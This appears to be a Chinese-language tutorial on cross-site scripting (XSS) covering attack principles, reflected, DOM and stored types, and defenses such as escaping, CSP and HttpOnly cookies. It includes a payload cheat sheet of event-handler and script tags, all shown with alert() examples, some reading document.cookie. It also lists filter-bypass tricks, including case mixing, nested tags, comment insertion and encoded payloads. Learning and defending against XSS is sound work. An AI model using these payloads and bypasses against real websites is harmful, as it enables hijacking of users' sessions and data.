XSS是什么?

XSS:

跨站脚本攻击

攻击原理:

攻击者通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行恶意的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

产生原因:

XSS产生的本质原因是因为网站没有对恶意代码进行过滤,与正常的代码混合在一起了,浏览器没有办法分辨哪些脚本是可信的,从而导致了恶意代码的执行

XSS有什么用?

危害:

​ 1.获取页面的数据,如DOM,cookie,LocalStorage;

​ 2.DOS攻击,发送合理请求,占用服务器资源,从而使用户无法访问服务器;

​ 3.破坏页面结构;

​ 4.流量劫持(将连接指向某网站)

相关标签:

由于存在同源策略,所以以下标签可以窃取用户的cookie信息

使用<script>标签

1
2
3
4
5
#payload构造
<script>payload</script>

#示例
<script>alert(document.cookie)</script>

使用<img >标签

1
2
3
4
5
#payload构造
<img src="x" onerror=payload>

#示例
<img src='../../../../小余同学/学习笔记/x' onerror=alert(document.cookie)>

使用<details>标签

1
2
3
4
5
#payload构造
<details ontoggle="payload;">

#示例
<details ontoggle="alert('xss');">

使用<svg>标签

1
2
3
4
5
#payload构造
<svg onload=payload>

#示例
<svg onload=alert('xss')>

使用<input>标签

1
2
3
4
5
#payload构造
<input onfocus=payload>

#示例
<input onfocus=alert('xss')>

使用<select>标签

1
2
3
4
5
#payload构造
<select onfocus=payload>

#示例
<select onfocus=alert('xss')>

使用<iframe>标签

1
2
3
4
5
#payload构造
<iframe src='x' onload=payload>

#示例
<iframe src='x' onload=alert('xss')>
1
2
3
4
5
#payload构造
<link rel="stylesheet" href="x" onerror=payload>

#示例
<link rel="stylesheet" href="x" onerror="alert('XSS');">

使用<a>标签

1
2
3
4
5
#payload构造
<a href="javascript:payload"></a>

#示例
<a href="javascript:alert(11)"></a>

XSS类型

反射型xss

产生原因:

没有对用户提交的内容进行可靠的输入验证。 导致用户可以在适当位置构造恶意语句窃取用户cookie信息

DOM型xss

产生原因:

网站从URL中提取数据,对这些数据进行处理,然后用它更新页面的内容,如果这样,应用程序就易受到基于 DOM的XSS攻击。

存储型xss

产生原因:

网站没有对用户提交的数据进行严格的过滤验证,导致恶意语句被存储到数据库中,当有用户每次读取到数据库该内容时都会触发一次攻击

DOM型与反射型的区别

区别:

DOM和反射型xss漏洞都是一次性的攻击,但是反射型漏洞能够在url框中看到恶意语句,dom型xss漏洞不能在url框或是网站源码中被发现;且反射型XSS会与服务器交互,DOM型只在前端运行,由浏览器进行渲染,不与服务器交互数据。

XSS绕过

  • 前端限制绕过

    • 直接抓包重放,或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
  • 大小写绕过

    • 比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配,如果正则里面只匹配小写,那就可能被绕过。
  • 双写(拼凑)

    • <scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换,但可能只去掉一次。
  • 注释干扰

    • <scri<!–test–>pt>alert(111)</sc<!–test–>ript>。加上注释后可能可以绕过后台过滤机制。
  • 编码绕过

    • 实体编码绕过:&#32
      • ps:实体编码数字前加0没有影响,例如:&#32=&#000000000032;
    • 八进制编码绕过:\074
    • 十六进制编码绕过:\x3c 或 \u003c
    • url编码绕过:%61
    • base64编码绕过: data:text/html;base64,PGltZyBzcmM9J3gnIG9uZXJyb3I9YWxlcnQoMSkgPg==

XSS怎么防御?

1)可以从浏览器的执行来进行预防,一种是使用纯前端的方式,不用服务器端拼接后返回(不适用服务器端渲染)。另一种是对需要插入到HTML中的代码做好充分的转义。对于DOM型的攻击,主要是前端脚本的不可靠而造成的,对于数据获取渲染和字符串拼接的时候应该对可能出现的恶意代码情况进行判断

2)使用CSP,CSP的本质是建立一个白名单,告诉浏览器哪些外部资源可以加载和执行,从而防止恶意代码的注入攻击

  1. CSP指的是内容安全策略,它的本质是建立一个白名单,告诉浏览器哪些外部资源可以加载和执行,我们只需要配置规则,如何拦截右浏览器自己来实现;

  2. 通常有两种方式来开启CSP,一种是设置HTTP首部中的Content-Security-Policy,一种是设置meta标签的方式

3)对一些敏感信息进行保护,比如cookie使用http-only,使得脚本无法获取。也可以使用验证码,避免脚本伪装成用户执行一些操作